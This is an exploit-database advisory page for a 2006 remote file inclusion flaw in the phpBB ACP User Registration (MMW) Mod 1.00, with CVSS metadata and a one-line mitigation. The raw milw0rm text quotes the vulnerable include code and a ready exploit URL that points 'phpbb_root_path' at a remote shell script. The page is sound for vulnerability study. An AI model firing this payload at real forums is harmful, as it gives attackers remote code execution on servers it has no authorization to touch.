phpBB ACP User Registration (MMW) Mod 1.00 File Inclusion Vulnerability

vendor:

phpBB

by:

bd0rk || SOH-Crew

7,5

CVSS

HIGH

File Inclusion Vulnerability

CWE

Product Name: phpBB

Affected Version From: 1.00

Affected Version To: 1.00

Patch Exists: YES

Related CWE: N/A

CPE: a:phpbb:phpbb:1.00

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2006

phpBB ACP User Registration (MMW) Mod 1.00 File Inclusion Vulnerability

The vulnerability exists due to insufficient sanitization of user-supplied input passed via the 'phpbb_root_path' parameter to 'includes/functions_mod_user.php' script. This can be exploited to include arbitrary files from remote hosts and execute arbitrary PHP code.

Mitigation:

Input validation should be used to ensure that user-supplied input is properly sanitized.

Source

Exploit-DB raw data:

          ..%%%%....%%%%...%%..%%...........%%%%...%%%%%...%%%%%%..%%...%%.
          .%%......%%..%%..%%..%%..........%%..%%..%%..%%..%%......%%...%%.
          ..%%%%...%%..%%..%%%%%%..%%%%%%..%%......%%%%%...%%%%....%%.%.%%.
          .....%%..%%..%%..%%..%%..........%%..%%..%%..%%..%%......%%%%%%%.
          ..%%%%....%%%%...%%..%%...........%%%%...%%..%%..%%%%%%...%%.%%..
          .................................................................
        
               phpBB ACP User Registration (MMW) Mod 1.00 File Inclusion Vulnerability


Date: 2006/10/13
Time: 18:20:57 => GMT+1:00

Founder: bd0rk || SOH-Crew
Website: www.soh-crew.it.tt
Greetz: str0ke, Perle, Tr4ileR, nukedx

Download: http://www.phpbb.com/phpBB/catdb.php?mode=download&id=1988012

Code: include_once($phpbb_root_path . 'includes/functions_validate.' . $phpEx);
include_once($phpbb_root_path . 'includes/functions_post.' . $phpEx);
include_once($phpbb_root_path . 'includes/bbcode.' . $phpEx);

[+]Exploit: http://[target]/[directory]/includes/functions_mod_user.php?phpbb_root_path=http://Sh3llScript?

# milw0rm.com [2006-10-13]